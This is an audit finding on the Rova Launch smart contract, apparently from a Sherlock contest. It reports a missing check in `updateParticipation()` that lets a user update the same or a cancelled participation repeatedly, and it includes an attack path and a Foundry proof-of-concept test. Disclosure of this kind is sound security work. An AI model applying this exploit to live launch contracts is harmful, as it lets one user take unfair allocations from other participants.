Handsome Eggshell Terrier

Medium

# Users can exploit `updateParticipation()` to participate multiple times

### Summary

The following [code snippet](https://github.com/sherlock-audit/2025-02-rova/blob/fe68ceb7d90693f9be5c7fb94dde130da8d60d9e/rova-contracts/src/Launch.sol#L243-L249) ensures that a user cannot call `Launch::participate()` multiple times if they have already participated, preventing multiple participations when `finalizesAtParticipation == false`:

```solidity
function participate(ParticipationRequest calldata request, bytes calldata signature)
    external
    nonReentrant
    whenNotPaused
    onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
{
    ... ...
    // If launch group does not finalize at participation, users should perform updates instead
    // This is checked by checking if the user has already requested tokens under the launch group
    EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
    (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
    if (userTokenAmount > 0) {
        if (!settings.finalizesAtParticipation) {
            revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
        }
    }
    ... ...
}
```

However, a user can update the same `launchParticipationId` multiple times, ultimately resulting in multiple participations, even though this should not be possible.

### Root Cause

In `Launch::updateParticipation()`, there is no check to ensure that the function is not called for a `prevLaunchParticipationId` with `currencyAmount = 0`. This allows the function to be called multiple times with the same `prevLaunchParticipationId`. 

The sponsor has shared [this README](https://github.com/dpm-labs/rova-contracts/blob/main/README.md#signing-requests) in the public Discord channel for this contest. It documents the checks performed by the backend on request parameters. As stated, the backend only verifies that the `prevLaunchParticipationId` is valid for the given `launchGroupId` and that it belongs to the user making the request. Since this check does not include the necessary validation, the attack remains possible even if the signer is trusted.

### Internal Pre-conditions

1. A user participates in a launch group that does not finalize at participation.

### External Pre-conditions

None.

### Attack Path

1. Alice participates with `participationId = 5`.
2. Alice calls `Launch::updateParticipation()` to update this participation. The `currencyAmount` of participation ID 5 is set to zero, and a new participation with ID 6 is created.
3. Alice calls `Launch::updateParticipation()` to update participation ID 5 again. The `currencyAmount` of participation ID 5 is set to zero again and the new participation with ID 7 is created. As a result, Alice ends up with two active participations, even though this should not be possible due to a specific check for this case in `Launch::participate()`.

Alternatively:

1. Alice participates with `participationId = 5`.
2. Alice calls `Launch::cancelParticipation()` to cancel this participation. The `currencyAmount` of participation ID 5 is set to zero. Now, Alce should have to call `Launch::participate()` to participate again.
3. Instead, Alice calls `Launch::updateParticipation()` to update participation ID 5. The `currencyAmount` of participation ID 5 is set to zero again and the new participation with ID 6 is created. As a result, Alice ends up with an active participation by updating an already canceled participation.

### Impact

A user can exploit the `Launch::updateParticipation()` function to bypass the intended participation limit and participate in a launch group multiple times even though this is not allowed. Additionally, depending on how the winners of the launch are decided, this increases their chances of being raffled as a winner (possibly even multiple times).

Furthermore, canceled participations can be updated as well.

### PoC

Add the following test in Launch.UpdateParticipation.t.sol:

```solidity
    function test_UpdateParticipation_Twice() public {
        // Prepare update participation request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(1000);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        uint256 updatedCurrencyAmount =
            _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        currency.approve(address(launch), updatedCurrencyAmount);

        // Expect ParticipationUpdated event
        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user1,
            updateRequest.tokenAmount,
            address(currency)
        );

        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);

        // Verify update
        ParticipationInfo memory newInfo = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        _verifyParticipationInfo(newInfo, updateRequest);
        ParticipationInfo memory oldInfo = launch.getParticipationInfo(updateRequest.prevLaunchParticipationId);
        assertEq(oldInfo.currencyAmount, 0);
        assertEq(oldInfo.tokenAmount, 0);

        // Verify total unique participants by launch group
        assertEq(launch.getNumUniqueParticipantsByLaunchGroup(testLaunchGroupId), 1);

        vm.stopPrank();

        uint256 launchTokenDecimals = launch.tokenDecimals();

        UpdateParticipationRequest memory secondUpdateRequest = UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId123",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 1000 * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory secondUpdateSignature = _signRequest(abi.encode(secondUpdateRequest));

        vm.startPrank(user1);

        // Update participation again
        launch.updateParticipation(secondUpdateRequest, secondUpdateSignature);

        // Verify update
        ParticipationInfo memory newInfoSecond = launch.getParticipationInfo(secondUpdateRequest.newLaunchParticipationId);
        _verifyParticipationInfo(newInfo, updateRequest);
        ParticipationInfo memory oldInfoSecond = launch.getParticipationInfo(secondUpdateRequest.prevLaunchParticipationId);
        assertEq(oldInfoSecond.currencyAmount, 0);
        assertEq(oldInfoSecond.tokenAmount, 0);

        assertEq(newInfoSecond.userId, testUserId);
        assertEq(newInfo.userId, testUserId);

        vm.stopPrank();
    }
```

### Mitigation

Consider adding a check to ensure that the provided `prevLaunchParticipationId` does have a `currencyAmount` that is greater than zero.